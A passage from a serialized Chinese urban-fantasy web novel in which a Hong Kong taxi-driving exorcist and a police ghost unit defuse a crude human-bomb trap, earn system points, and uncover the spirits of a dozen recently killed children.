郑立则解下了缠在腰间的一条纸扎陈特制软鞭,鞭身由浸过**血和朱砂的牛皮编织而成,鞭梢缀着一个小小的铜铃,晃动时能发出扰乱鬼物心神的声音,他称之为打鬼鞭。
几人迅速而无声地散开,形成了一个以古德为箭头,谢潮和周星星分居左右两翼,郑立殿后的菱形进攻阵型。
阿草因为本身战斗力有限,但感知敏锐,古德便示意她处于菱形阵型的中心位置,负责警戒四周可能出现的异常能量波动,随时提供信息支援。
古德深吸一口气,走到那扇紧闭的木门前。
他没有选择撬锁或者敲门,
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而是后退半步,右腿猛地抬起,一记势大力沉的侧踹,直奔门锁位置而去!
在脚底接触到门板的瞬间,他脚上泛起淡淡的金光,增强了这一脚的爆发力效果。
“砰!”
一声闷响!
那扇看起来颇为结实的木门,连带着门框,应声向内猛地崩开,重重地撞在里面的墙壁上,又弹了回来,发出吱呀的呻吟声。
门开了,但里面的景象却让众人一愣。
房间内空空如也。
没有想象中的狰狞鬼怪,也没有严阵以待的怪谈协会会员。
整个房间大约五六十平米,显得异常空旷。
墙壁是惨白色的,地上铺着灰色的地毯,积满了灰尘。
除了角落里堆放着几个废弃的纸箱,几乎没有任何家具或装饰。
窗户被厚厚的黑色窗帘遮得严严实实,只有门口透进的光线,勉强照亮了房间中央的一小片区域。
而在那片光线下,赫然站着一个男人。
那是一个看起来四十岁左右、身材微胖、穿着普通夹克衫和西裤的中年男人。
他此刻正浑身瑟瑟发抖,脸色惨白,额头上布满了冷汗,眼神中充满了惊恐和无助,嘴巴微微张着,似乎想喊又喊不出声。
那样子,活脱脱就是一个被吓坏了的普通市民。
古德眼中淡金色的光芒微微一闪,瞬间扫过这个男人。
这就是个普通的活人,身上阳气虽然弱了些,但魂魄齐全,没有任何被鬼物附体或者中了邪术的迹象。
古德眉头微蹙,对着谢潮使了个眼色。
谢潮会意,将打鬼棒交到左手,右手从怀里掏出**,上前一步,亮出证件,用沉稳而带有威慑力的声音说道:
“香江警察,特别刑事部总督察谢潮。你是什么人?为什么在这里?”
那男人看到警察,仿佛看到了救星,双腿一软,“噗通”一声瘫坐在地上,带着哭腔喊道:
“阿Sir!阿Sir你们总算来了啊!我……我是这层的业主代表,姓王,你们可以叫我老王!我是被逼的啊!这里有鬼!有鬼啊!”
他一把鼻涕一把泪地哭诉起来:
“前几天,那帮租这里的家伙,突然找到我,说……说让我今天中午必须一个人待在这个房间里,不许离开,也不许告诉任何人!不然……不然就要我的命!
他们还……还说我身上被下了咒,要是乱动或者乱说,就会……就会砰的一声炸开!阿Sir,我好怕啊!救救我啊!”
第218章 怎么爆不了?
他的表演十分投入,表情惊恐万状,身体抖得像筛糠一样,看起来完全就是一个被黑恶势力胁迫的无辜受害者。
然而,站在古德身后的阿草,却微微蹙起了眉头。
她凑近古德,用极低的声音说道:
“老板,这个人不对劲。我虽然没见过这层的具体负责人,但我记得协会资料里提过,这层的房东,好像是协会很早以前就在普通人里发展的一个外围会员,代号好像叫‘肥仔王’,专门负责帮协会处理一些明面上的杂事。他怎么可能没见过鬼?还吓成这个样子?”
古德微微颔首,表示知道了。
他心中冷笑,果然有诈。
在刚才踹门进来的一瞬间,他的神识就已经敏锐地察觉到这个房间里有几处异常点,虽然隐藏得很好,但逃不过他的感知。
而且,这个老王的表演,虽然逼真,但眼神深处那一闪而过的狡黠和紧张,却瞒不过他的眼睛。
他不动声色,垂在身侧的左手手指微微一动,一张黄色的符箓,便悄无声息地从他指尖滑落,如同被一阵微风吹动般,飘飘悠悠地贴在了那个还在哭嚎的老王背后的衣角上。
古德没有立刻揭穿他,他想看看,这个家伙,以及他背后的人,到底在玩什么把戏。
这时,谢潮按照程序,继续询问道:
“王先生,你先冷静一下。你说你被胁迫,那胁迫你的人呢?他们现在在哪里?”
老王依旧哭丧着脸,语无伦次地说:
“走了……都走了!今天一早他们就急匆匆地收拾东西走了!就……就留下我一个人在这里……等死啊!阿Sir!”
他一边说,一边用眼角余光偷偷打量着陆续进入房间的古德等人,似乎在确认人数。
就在这时,莫作栋带着几名后勤组的队员,也从楼梯口赶了过来。
他们手里提着几个大的证物袋,里面似乎装了些从其他房间搜查到的零碎物品。
莫作栋走到古德和谢潮身边,汇报说:
“谢sir,阿德,我们粗略检查了这一层的其他房间,基本上都搬空了,没什么有价值的发现,只剩下一些没用的废纸和垃圾。看来对方是早有准备,提前撤离了。”
那个坐在地上的老王,听到莫作栋的话,眼中突然闪过一丝难以察觉的诡异光芒。
他停止了哭嚎,抬起头,脸上露出一个比哭还难看的、带着几分神经质的笑容,声音也变得有些怪异起来:
“走……走了?都查完了?呵呵……呵呵呵……各位阿Sir,你们……你们都到齐了吗?”
谢潮眉头一皱,觉得这话问得突兀,厉声道:
“你问这个干什么?回答我的问题!”
“王却不理会谢潮的质问,自顾自地继续说道,声音渐渐带上了一种疯狂的意味:
“那些……那些鬼东西……临走的时候……让我……让我转告你们一句话……”
古德抱着胳膊,好整以暇地看着他,嘴角带着一丝玩味的笑意,接口问道:
“哦?什么话?说来听听。”
老王猛地抬起头,脸上的恐惧表情瞬间消失不见,取而代之的是一种极度疯狂,他尖声叫道:
“他们让我告诉你们!你们这群不知死活、专门坏我好事的蝼蚁!天堂有路你们不走,地狱无门你们偏要闯进来!今天,就全都留在这里,爆!给我爆啊!”
他声嘶力竭地喊出那个“爆”字,同时右手下意识地就要往口袋里伸,身体也试图做出一个蜷缩引爆的动作。
然而,什么都没有发生。
房间里一片寂静,只有他粗重的喘息声。他预想中的惊天**并没有到来。
老王愣住了,脸上疯狂的表情凝固了,取而代之的是错愕和难以置信。
他使劲扭动身体,却发现四肢僵硬,根本不听使唤,除了脑袋和眼珠,其他地方一动也不能动。
“怎……怎么回事?为什么爆不了?我……我怎么动不了了?!”
古德这才慢悠悠地走上前,居高临下地看着他,语气平淡地说道:
“动不了就对了。刚才跟你废话的时候,顺手给你贴了张‘定身符’。至于为什么爆不了……”
他顿了顿,用脚尖轻轻踢了踢老王那只试图伸向口袋却僵在半空的手,继续说道:
“就算我没贴定身符,你这戏也演不下去。你口袋里那个玩具一样的遥控器,还有你身上绑的那些虽然有点危险、但布线粗糙得像个外行做的土**……真以为能瞒得过谁?”
周星星这时也笑嘻嘻地走上前,毫不客气地一巴掌拍在老王的后脑勺上:
“
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喂,死肥佬!你当我们是**啊?这么老套的陷阱,电视里都不这么演了!还玩人体**这一套?”
他边说边利落地从老王僵硬的手指间抠出一个火柴盒大小的简易遥控器,又在他身上仔细摸索了一番,扯下几根用胶布缠着的、连接着一个小型**和几根土制**的导线,确认没有其他危险品后,才把东西扔给旁边的后勤队员。
莫作栋也笑着示意身后的队员展示了一下他们刚从走廊天花板通风口和消防栓后面拆下来的几个同样制作粗糙的**装置:
“啧啧,这帮家伙,搞鬼吓人或许在行,玩**?还是回去再练几十年吧。这水平,连我们警校爆破课的最低标准都达不到。”
古德看着面如死灰的老王,摇了摇头。
这些怪谈协会的成员,很多生前或许是些养尊处优的上层人物,**变成鬼物后,靠着一些诡异能力害人,但真要论起策划精密行动、使用现代手段设置陷阱,就显得有些想当然和业余了,带着一股纸上谈兵的迂腐和傲慢。
他对谢潮说道:
“阿潮,看来这群老鼠不但又跑路了,还留下这么个蹩脚的陷阱想恶心我们一下。这家伙就交给你带回去审问吧,看看能不能挖出点他们下一步的去向或者协会的其他信息。我就不参与了,审问这种事你比较在行。”
谢潮看着地上那个垂头丧气的肥仔王,无奈地点了点头:
“好吧,也只能这样了。希望能从他嘴里撬出点有用的东西。”
古德拍了拍谢潮的肩膀,然后对阿草示意了一下:
“走吧,阿草。这里没我们的事了,开工去。”
说完,他竟真的转身,带着阿草,就这么潇洒地朝着楼梯口走去,把那堆烂摊子留给了谢潮他们。
谢潮看着古德离去的背影,忍不住又低声吐槽了一句:
“这个阿德……对开出租车还真是爱得深沉啊……每次都是这样,打完还去开工,绝不多留一秒……”
周星星在一旁深有同感地猛点头。
古德却仿佛没听见,脚步轻快,心里盘算着:
下午的晚高峰快要开始了,应该能多接几单,把公里数再往上冲一冲。
至于怪谈协会?
跑了和尚跑不了庙,或许也可以引君入瓮,关门打狗。
第219章 公里点数大爆发
古德拉开车门,坐进了驾驶座。
阿草也动作轻盈地拉开副驾驶的门,坐了进去,并顺手系好了安全带。
这个习惯是她观察古德和人类乘客后学会的,虽然她并不需要,但觉得这样显得更配合他老板的职业。
车子发动,引擎发出平稳的低鸣,缓缓汇入午后略显稀疏的车流。
香江的街道依旧喧嚣,阳光透过挡风玻璃,在车内投下温暖的光斑。
阿草侧过头,看着古德专注开车的侧脸,那双显得知性而妩媚的眼睛里,闪过一丝好奇和担忧。
她犹豫了一下,还是开口问道,声音带着一丝不易察觉的关切:
“老板……我们就这么走了,真的没问题吗?怪谈协会那群老鬼这次设下陷阱失败,会不会……不甘心,在路上或者家里埋伏我们?毕竟,我们在明,他们在暗。”
古德闻言,嘴角微微上扬,勾勒出一抹从容甚至带着几分期待的弧度。
他目光依旧注视着前方的路况,语气轻松地回答道,仿佛在谈论一件微不足道的小事:
“埋伏?呵,让他们来试试好了。我倒是挺期待他们主动送上门来的。”
他顿了顿,透过后视镜瞥了一眼阿草担忧的神情,补充道,语气中带着一种强大的自信:
“放心吧。你老板我别的本事可能一般,但对付这些藏头露尾的邪祟玩意儿,自保和反杀的能力还是绰绰有余的。
他们要是真敢来,正好省得我满世界去找他们刷……嗯,去找他们算账了。”
他差点把“刷阴德”三个字说出口,还好及时改了过来。
阿草看着古德那副浑不在意、甚至有点盼着对方来的表情,心里虽然还是有些嘀咕,但莫名地安定了不少。
她这位新主人,虽然脾气有点怪,规矩多,但本事确实是深不可测,而且有种天塌下来当被子盖的淡定。
正如古德所预料的那样,接下来的路程,乃至整个下午,都风平浪静。
并没有出现任何预想中的伏击或者意外。
而且,因为副驾驶座上多了阿草这个特殊乘客,古德的公里点数迎来了一个意想不到的爆发式增长!
每次有新的乘客拦车,系统都会忠实地将阿草判定为一位同乘拼车乘客。
于是,每一单普通的载客行程,公里点数都按照双倍进行结算!
这让古德赚得盆满钵满,心情大好,一边开车一边甚至忍不住轻轻哼起了不成调的小曲。
阿草看着古德因为收入增加而明显愉悦的神情,虽然完全无法理解开出租车赚钱这件事对一位如此强大的法师到底有什么吸引力。
但还是明智地选择了保持沉默,只是尽职地扮演好一个安静的花瓶乘客角色。
当然,也出过一点小状况。
有一次,古德载了一位去**祠的老大叔。
路上有点堵,古德闲来无事,就习惯性地跟坐在副驾的阿草讨论起了刚才那单生意该走哪条路更省时间。
不过在旁人看来,他就是在自言自语。
“刚才那单如果走龙翔道会不会快一点?虽然远了点,但好像没那么堵。”
古德摸着下巴思索道。
阿草歪着头,很认真地回答:
“老板,我觉得还是走太子道好,虽然慢一点,但红绿灯少,计算下来时间差不多的,而且还能多看几个路口的美女……哦不,风景。”
他们俩聊得投入,完全忘了后座那位普通老大叔是看不见也听不见阿草的存在和声音的。
老大叔只看到司机一个人在那里对着空气嘀嘀咕咕,还时不时点头摇头,仿佛在跟什么人激烈讨论一样。
他的脸色先是变得疑惑,然后是惊恐,最后彻底煞白。
“司……司机先生……你……你在跟谁说话啊?”
老太太颤抖着声音问道。
古德这才反应过来,心里暗叫一声“糟糕”,表面上却只能强装镇定,干笑着解释:
“啊?没……没跟谁啊大爷,我……我这个人习惯自己跟自己商量路线,呵呵,职业病,职业病……”
老大叔显然不信,眼神里的恐惧更深了。
好不容易熬到了目的地,车还没完全停稳,他就尖叫一声,手忙脚乱地扔下远超车费的钱,然后以完全不符合他年龄的敏捷速度,拉开车门,连滚带爬地逃下了车,仿佛身后有厉鬼在追一样。
古德和阿草面面相觑。
古德无奈地揉了揉眉心:“……下次记得,有普通人在的时候,用幻术遮挡一下。”
阿草吐了吐舌头,做了个“我知道了”的鬼脸:“对不起嘛,老板,一时没注意。”
尽管有这么个小插曲,但总体而言,这一下午的收获极其丰厚。
当夜幕降临,古德将车开回元朗的小洋楼车库时,他满怀期待地调出了系统界面查看今日战绩。
这一看,让他脸上顿时露出了抑制不住的喜悦笑容。
【今日公里数:+613点】(包含双倍加成)
【总公里点数:1122
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点】
“1122点!”
古德心里乐开了花,‘照这个速度,只要保持每天带着阿草出车,半个多月,就能攒够一万点!到时候,就能把《黄庭内景玉经》点到LV4了!’
他兴奋地搓了搓手。
系统所给的**,每提升一个大的等级,带来的不仅仅是数值上的增长,往往还会有质的飞跃。
这可比单纯地加点法力要划算得多!
LV4的黄庭经,说不定能让他接触到更高层次的力量运用。
‘要是哪天系统再给我来个跨国传送,享受一下三倍公里数加成,再加上阿草的双倍……那岂不是要起飞?’
他美滋滋地想着,‘说不定连半个月都不用,就能直接冲上LV4!’
接着,他又检查了一下另一个重要的点数,阴德值。
意识沉入系统,代表阴德数值的那一栏,数字已经更新。
岚婆办事效率很高,处理完那批货之后,相应的阴德点数已经准时到账了。
【阴德+5000】
【当前阴德:25460/30000】
“五千点……还不错。”
古德满意地点点头。
虽然单个小日子鬼不值钱,但架不住数量多,聚沙成塔。
再加上那只半尸半鬼的吸血鬼尸王,总算是一笔可观的收入。
“距离三万点升级,只差最后四千五百四十点了。”
他摸着下巴,眼中闪过一丝锐利的光芒,“看来,这最后的缺口,很大概率要落在这个阴魂不散的怪谈协会身上了。”
他倒是希望这个协会能有点骨气,早点来找他麻烦,好让他能大赚一笔阴德。
但显然,对方也不是傻子,这没几天就接连损失了黑鼠尾草魔、吸血鬼尸王、一大批鬼兵鬼卒还有一个外围的“肥仔王”后,肯定已经意识到了他的不好惹。
在没有绝对把握之前,古德估计他们不会再轻易派人来送经验了。
“哼,躲得过初一,躲不过十五。只要你们还在香江,还在搞事,我们迟早会再碰上的。”
古德心中冷笑,对此并不太担心。
带着对未来的美好憧憬和满满的收获感,古德心情愉悦地洗漱休息去了。
体内那已经达到LV3的《黄庭内景玉经》,无时无刻不在自行缓缓运转,吸收着天地间微薄的灵气,潜移默化地淬炼着他的身体和法力,根本不需要他主动去刻意修炼。
这种躺着都能变强的感觉,实在是令人舒畅。
第220章 又一次遇到得仔
接下来的几天,日子过得异常平稳。
古德每天准时带着阿草出车,穿梭在香江的大街小巷,公里数稳步增长。
异灵灵异那边也没什么大案子需要他出手,谢潮、周星星他们似乎被那些突然爆发的零星灵异事件搞得焦头烂额,据说于子朗、高彦博和马季三人更是忙得脚不沾地,连轴转了好几天。
期间,古德抽空去了一趟纸扎铺,找纸扎陈补充消耗掉的符箓。
纸扎陈看到古德,显得非常高兴。
他现在简直把古德当成了最佳产品测试员。
这次,他不但给古德补充了大量的常规符箓如“辟邪符”、“镇煞符”、“收鬼符”等,还神秘兮兮地拿出了好几个厚厚的、用牛皮纸精心包装好的“符箓新品大礼包”。
“阿德,来来来,试试这些新货!”
纸扎陈热情地推销着,“这些都是我最近根据古籍和你反馈的使用体验,改良或者新研发出来的符箓!效果更强,功耗更低,操作更便捷!”
古德好奇地打开其中一个礼包,里面分门别类放着各种他没见过的新符。
纸扎陈在一旁如数家珍地介绍:
“你看这个,‘快速上楼符’,贴在腿上,短时间能提升速度,一口气能上十楼都不累!”
“还有这个,‘净衣符’,不小心沾了污秽或者血渍,一拍就干净,省水省洗衣粉,比除尘符更好用!”
“最厉害的是这个,‘同心傀儡符’,一次性控制多个低阶鬼物,让它们帮你干活或者自相残杀!”
古德听得眼花缭乱,对纸扎陈这种科研精神深感佩服。
他大手一挥,将这些新符每样都包了一大摞,乐得纸扎陈见牙不见眼。
这天下午,天气有些闷热。
古德接了一单去荃湾的生意。
送走乘客后,他感觉有些精神上的疲惫,便把车停在一条相对僻静、绿树成荫的小路旁,打算休息一下,抽根烟缓缓。
他推开车门,靠在车身上,点燃了一支香烟,缓缓吸了一口,吐出淡淡的烟雾。
阿草也下了车,安静地站在他身旁,打量着周围的环境。
就在这时,一个大约只有三四岁孩童大小、浑身散发着微弱怨气、眼神懵懂茫然的小鬼魂,晃晃悠悠地从路边的一个老旧社区的排水沟里飘了出来。
它似乎是被生人的气息吸引,本能地朝着古德这边飘了过来,发出细微的、呜呜咽咽的哭声。
这种小鬼,通常是因为意外夭折或者被遗弃,怨气不重,没什么杀伤力,但喜欢缠着活人,吸点阳气,让人倒霉几天。
古德瞥了它一眼,懒得亲手处理。
他忽然想起纸扎陈给的新品符箓里,有一种叫做“惑心符”的,据说能短暂影响低阶鬼物的心智,让它们听从简单的指令。
他顿时来了兴趣,想试试效果。
于是,他从随身挎包里摸出一张画着扭曲螺旋图案的惑心符,看准那小鬼飘过来的轨迹,随手“啪”地一声,精准地将符纸贴在了它的额头上。
符纸接触到鬼体的瞬间,闪烁起一阵微弱带着迷幻色彩的紫色光芒,随即光芒如同活物般,迅速渗入了小鬼的魂体之内。
那小鬼浑身一颤,原本茫然的眼神变得更加空洞,呆呆地悬浮在原地,不再哭泣。
古德对着它,尝试着下达指令:
“去,到附近转转,找到你的同类,告诉它们,这边有好吃的好喝的,还有很多香火蜡烛,把它们都引过来。”
中了惑心符的小鬼,呆呆地点了点头,然后转过身,晃晃悠悠地朝着社区深处飘去了,执行命令去了。
古德满意地拍了拍手,重新靠回车上,吐出一个烟圈,对着旁边的阿草笑道:
“陈老板这新开发的‘惑心符’效果还真不错啊,对付这种没什么脑子的小鬼,挺好用的。让鬼去骗鬼,省得我一个个去找,省时省力。”
阿草在一旁看着,脸上却露出一丝疑惑不解的神情。
她歪着头问道:
“老板,像这种级别的小怨灵,你想控制它或者驱散它,我也可以做到啊。我的幻术和精神影响能力,对付它绰绰有余。何必还要浪费一张符纸呢?”
她有点不理解古德这种舍近求
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远的行为。
古德笑了笑,弹了弹烟灰,解释道:
“不一样的。你的能力是你的,符箓是符箓。我这是在帮陈老板测试一下他这批新符的实际效果怎么样,稳定性如何,有没有什么副作用。毕竟以后可能要大规模采购的,得提前摸清楚性能。”
他才不会承认主要是想试试新玩具。
阿草似懂非懂地点了点头:
“哦……原来老板你是在做产品质量检测啊。”
就在两人闲聊的时候,路边不远处,突然传来一声带着惊讶和不确定的呼喊声:
“古……古大师?是您吗?”
古德循声望去,只见路边站着一个年轻人,看上去二十出头的样子,头发有些凌乱,脸色苍白,眼窝深陷,带着浓重的黑眼圈,一副长期睡眠不足、精神萎靡的样子。
他身上穿着普通的T恤和牛仔裤,但整个人给人一种气虚体弱、阳气不足的感觉。
古德觉得这人有点眼熟,仔细一看,想起来了。
这不就是大概一周前,他去暹罗国载过的那对姐弟中的弟弟,见鬼十法里那个叫得仔的年轻人吗?
看他现在这副模样,印堂发黑,阳气衰弱得像风中残烛,周身还隐隐缠绕着一丝若有若无的阴气,明显是被鬼物纠缠已久、甚至可能被吸走了不少元气的症状。
古德心里不由得摇了摇头:
‘这小子,明明之前给过他名片,让他遇到麻烦来找我,结果硬是把自己搞成这副鬼样子。真是死要面子活受罪,或者说……吓傻了?’
得仔看到古德的正脸,确认没认错人后,脸上瞬间爆发出巨大的、难以形容的惊喜和激动,仿佛在无边黑暗中终于看到了救命的灯塔!
他再也顾不上其他,跌跌撞撞地就朝着古德冲了过来,声音带着哭腔,用尽全身力气大声喊道:
“古大师!救命啊!求求您!救命啊!”
这一声凄厉的呼喊,在相对安静的小路上显得格外突兀,瞬间吸引了周围寥寥几个行人的目光,大家都好奇地看向这个突然发疯般冲向一个出租车司机的年轻人。
第221章 十几只新死的小鬼
古德看着那个面色惨白、眼窝深陷、一路跌跌撞撞狂奔而来的得仔,脸上不由得浮现出一抹混合着无奈和了然的神情。
他早就猜到得仔身上阴气缠身,只是没想到会严重到这个地步,而且精神状态也近乎崩溃。
眼见得仔张大了嘴巴,一副要扯开嗓子惊天动地呼救的架势,古德眉头微皱。
这要让他继续在这大街上不管不顾地喊出来,引来路人围观,少不了又是一番麻烦解释。
“啧,麻烦。”古德低声咕哝了一句。
说时迟那时快,就在得仔冲到古德面前约三步远的地方,胸腔鼓起,那声“大师救命”即将脱口而出的瞬间。
古德右手看似随意地抬起,食指与中指并拢,结成一个简练的剑指。
指尖处,一点凝练的金色光芒骤然亮起。
他目光平静地看向得仔的咽喉部位,口中速诵:
“天罡律令,禁尔喉灵。气脉锁闭,真言莫申。禁!”
“咻——”
一道细微得几乎看不见的金色流光,如同拥有灵性的细针,从古德指尖激射而出,瞬间没入得仔的喉结下方!
“呃……!”
得仔浑身猛地一僵!
那已经到了嗓子眼的惊呼声,仿佛被一只无形的大手硬生生掐断!
他张着嘴巴,喉咙里只能发出“嗬嗬”的如同破风箱般的气流声,却一个完整的音节也吐不出来!
他脸上那惊恐万分的表情瞬间凝固,转而被巨大的茫然和不知所措所取代。
他下意识地用手捂住自己的脖子,用力地咳嗽,试图将那卡住的声音咳出来,却徒劳无功。
他又急又怕,手舞足蹈地比划着,眼泪都快要急出来了,那副模样,既可怜又带着几分滑稽。
站在一旁的阿草,目睹了这全过程。
她先是一愣,随即忍不住“噗嗤”一声笑了出来,连忙用手捂住嘴,但肩膀还是一耸一耸的,显然觉得十分有趣。
她还是第一次看到这种简单粗暴却又十分有效的方式来让人冷静下来。
得仔也很快发现了自己的异常,他停止了无谓的挣扎,脸上露出了更加浓重的惊慌之色。
他抬起头,用一双充满血丝、写满哀求的眼睛,死死地盯住古德,仿佛在说:
“大师!救我!这是怎么回事?”
古德这才不紧不慢地开口,语气平淡,听不出什么情绪波动:
“别慌。只是给你下了个小小的静音咒,暂时让你说不了话而已。”
他指了指周围几个被得仔刚才狂奔和试图尖叫的举动吸引、正好奇地望过来的路人,解释道:
“你刚才那副样子,要是让你喊出来,非得把整条街的人都引来不可。我不想惹不必要的麻烦。”
他顿了顿,用下巴指了指旁边的出租车,吩咐道:
“你先到车后座上坐一会儿,冷静一下。等我处理完手头这点小事,我们再慢慢聊。”
得仔闻言,先是一愣,随即脸上露出一丝犹豫和恐惧。
他看了看古德,又看了看那辆红色的出租车,脚下像是生了根一样,不肯挪动。
他生怕自己一上车,古德就会丢下他直接走掉。
他现在已经把古德当成了唯一的救命稻草,哪里肯轻易放手?
古德看到他这副模样,自然猜到了他的心思,不由得有些好笑,又有点无奈。
他叹了口气,语气放缓了一些,说道:
“放心吧。既然我们能在这里再次遇到,就说明我们之间还有这份缘分。我古德说话算话,既然答应了要帮你,就不会半路扔下你不管。你先上车等着,我处理完这边的事情,咱们车上再详细说。”
听到古德这番算是保证的话,得仔眼中的恐慌才稍稍褪去一些。
他迟疑了一下,最终还是选择相信古德。
他用力地点了点头,然后乖乖地拉开出租车的后门,钻了进去,小心翼翼地坐在了后排座椅上。
然而,就在他坐进车内的刹那,一种奇异的感觉瞬间涌遍全身!
仿佛有一层温暖而无形的薄膜,将他与外面那个充满阴冷和不安的世界隔绝开来。
一直如同附骨之疽般缠绕着他、让他寝食难安的那股阴寒气息,竟然在这一刻大大地减弱了!
虽然没有完全消失,但那种如芒在背,仿佛随时会被拖入深渊的恐惧感一下子减轻了大半!
他一直紧绷着的神经,不由自主地松弛了下来,一种难以言喻的安全感油然而生。
得仔惊讶地打量着车内普通的装饰,心中充满了震撼。
‘古大师这辆看似普通的出租车竟然有神奇之处!这里面呆着的感觉就像在一个安全屋!’
古德看到得仔听话地上了车,便不再关注他。
他的注意力,重新集中到了前方那条僻静的小路深处。
只见刚才那个被他用“惑心符”控制的小鬼,此刻正晃晃悠悠地从社区的阴影中飘了回来。
而在它的身后,竟然跟着稀稀拉拉、影影绰绰的十几道小小的鬼影!
这些小鬼,形态各异,有的穿着脏兮兮的睡衣,有的保持着临死前痛苦的表情,但无一例外,身上都散发着浓郁的怨气和一种新死不久的魂力气息。
它们被中了惑心符的第一个小鬼引导着,懵懵懂懂地朝着古德这边**过来,如同被蜜糖吸引的蚂蚁。
古德嘴角微微上扬,露出一个意料之中的笑容。
他不慌不忙地从随身的帆布挎包里,取出了四根约莫一尺来长、颜色暗红的特制清香。
他右手拇指和食指轻轻一搓,一丝微弱的法力火焰在指尖燃起,迅速将四根香的顶端点燃。
顿时,一股醇厚、宁神的檀香气息弥漫开来。
古德左手持香,右手手掌在香头上方轻轻扇动了几下,将那袅袅升起的青烟,精
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准地朝着那群小鬼飘来的方向吹去。
对于这些低阶的鬼物来说,这种蕴含着纯净气味的香火,有着难以抗拒的吸引力,如同饥饿的人看到了美味佳肴。
果然,那群小鬼一闻到这香火的味道,原本还有些呆滞的眼睛,瞬间亮起了贪婪的光芒!
它们发出一阵急促的、如同老鼠尖叫般的呜咽声,争先恐后地扑了过来,围在那四根清香周围,拼命地吮吸着那对他们而言是无上滋补品的香烟。
然而,随着这群小鬼的靠近,古德的眉头却渐渐皱了起来。
他眼中淡金色的光芒微微闪烁,仔细地审视着这些小鬼的魂体。
不对劲!
除了那个被惑心符控制的小鬼魂体相对陈旧一些外,其他这十几只小鬼,身上的怨气虽然浓重,但魂体本身却透着一股新鲜的气息!
这分明是刚刚死去不久、因为死前遭受了极大的痛苦或冤屈,怨气难平,才迅速转化而成的新死之魂!
而且,数量如此之多!
看它们的年纪,都是些稚嫩的孩童!
“十几只……新死的小孩魂体……”
古德的眼神瞬间变得锐利起来,心中升起一股不祥的预感。
“这附近……肯定发生了一起极其恶劣的、针对儿童的大规模命案!”
他看着手中的清香以肉眼可见的速度迅速燃烧殆尽,那些小鬼在吸食了香火后,魂体似乎凝实了一丝,但眼中的茫然和怨毒却并未减少。
古德眼中寒光一闪,右手迅速在胸前结了一个“收”字印!
“嗖!嗖!嗖!……”
十几张早就准备好的黄色收鬼符,从他的挎包中自动飞出,如同长了眼睛一般,精准地射向每一只正在贪婪吸食香火的小鬼!
与此同时,站在一旁的阿草也立刻会意。
她双手一挥,一股淡淡的、如同水波般扭曲光线的能量场,以她为中心扩散开来,将古德和那群小鬼所在的一小片区域笼罩了起来。
这是一种简单的障眼法,并不能完全隔绝景象,但能极大程度地模糊和扭曲普通人的视觉,让他们对这边发生的事情视而不见,或者产生一些合理的误解,从而避免引起骚动。
那些小鬼刚刚饱餐一顿,正处于一种满足而松懈的状态,根本来不及做出任何反应。
符纸贴上它们额头的瞬间,便爆发出一阵柔和的黄光,瞬间将它们的魂体吸入其中。
符纸轻轻飘落在地,上面多了一道扭曲的黑色阴影图案,随即便安静下来。
整个过程,干净利落,无声无息。
路边偶尔经过的行人,只是觉得那边好像有人在摆弄什么东西,并没有察觉到任何异常。
古德弯腰,将地上的十几张符纸一一拾起。
看着符纸上那些代表着稚嫩生命夭折的阴影,古德脸色有些阴沉。
他能感觉到,这些小鬼的死亡,绝非偶然。
第222章 得仔的名片丢失了
古德从挎包里掏出谢潮送给他的那个笨重的黑色翻盖手机,“啪”地一声掀开盖子,熟练地按下了谢潮的快速拨号键。
电话响了几声后,被接通了。
那边传来谢潮略带疲惫但依旧沉稳的声音:“喂?阿德?怎么这个时候打给我?”
古德没有寒暄,直接说道,语气严肃:“阿潮,有情况,你带一队人来荃湾这边一趟。地址是……”
他报出了刚才那个旧社区的具体位置。
电话那头,谢潮的声音明显愣了一下:“荃湾?那个旧社区?怎么回事?那边出什么事了?”
古德沉声回答:“我刚才在这边,顺手收了十几只小鬼。”
“哦?又是游魂野鬼?这种小事……”
谢潮似乎有些不以为意。
“不是普通的游魂。”
古德打断了他,强调道:“是十几只新死的小鬼!都是小孩的魂体,怨气很重,死亡时间应该就在最近几天!我怀疑……这边可能发生了一起针对儿童的恶性命案,而且规模不小。”
他顿了顿,补充了一句,虽然不确定,但一种直觉让他说了出来:“我总觉得这事有点蹊跷,不像是普通的**。背后……说不定又和那个阴魂不散的怪谈协会有关。”
“什么?!十几只新死的小孩魂体?”
电话那头,谢潮的声音陡然提高了八度,语气中充满了震惊和愤怒!
他显然明白这意味着什么。
紧接着,电话里传来一声清晰的骂声:“艹!这群天杀的杂碎!小孩子都不放过!”
随即,谢潮立刻恢复了冷静,声音变得果断而急促:“好!我知道了!我们马上就过去!你在那边等我们吗?”
“不了。”
古德干脆利落地拒绝。
“具体的调查工作,还是你们专业人士来做更合适。有什么发现或者需要我帮忙的,再打电话给我。”
说完,他也不等谢潮回话,便“啪”地一声合上了手机盖,直接挂断了电话。
他行事向来如此,处理完自己该做的部分,剩下的麻烦事,自然交给一零零一部门去头疼。
电话那头,谢潮听着手机里传来的“嘟嘟”忙音,脸上露出一丝无奈的苦笑。
他摇了摇头,随即脸色一正,转身对正瘫在椅子上、顶着两个巨大黑眼圈、几乎要睡着的周星星喊道:
“阿星!别睡了!起来干活!”
周星星正迷迷糊糊地打着盹,被谢潮这一嗓子吓了一跳,差点从椅子上滑下来。
他揉着惺忪的睡眼,带着浓重的鼻音抱怨道:
“不是吧,大佬!又有案子?我已经连续48个小时没合眼了!生产队的驴也不是这么使唤的啊!让我睡半个钟头行不行?就半个钟头!”
谢潮走到他面前,表情严肃地说道:
“刚接到阿德的电话,荃湾那边,可能发生了一起针对小孩的大案,**十几个!他怀疑……可能又是怪谈协会那帮杂碎干的!”
“什么?!”
周星星一听“**十几个小孩”和“怪谈协会”,睡意瞬间一扫而光!
他“腾”地一下从椅子上跳了起来,脸上充满了怒火!
他这人平时虽然吊儿郎当,但最是痛恨那些对妇女儿童下手的**!
“妈的!又是这群扑街!走!阿潮!马上过去!老子非要扒了他们的皮不可!”
他一边骂着,一边迅速地抓起放在桌上的风衣外套和打鬼棒,动作麻利得完全不像个48小时没睡的人。
谢潮看着周星星的反应,点了点头。
他立刻拿起内部对讲机,开始调兵遣将:
“后勤部B组、C组注意,立刻准备车辆和装备,五分钟后停车场集合!有紧急任务!重复,有紧急任务!”
很快,五辆没有警用标识、但性能优良的深色面包车,闪着警灯,迅速驶离了异灵灵异总部的停车场,朝着荃湾方向疾驰而去。
而另一边,挂断电话的古德,已经将那十几张封印了小鬼的符纸,随意地放进一个特制的收鬼帆布袋子里,然后扔进了出租车的后备箱。
他对阿草示意了一下,一人一妖重新坐回了车内。
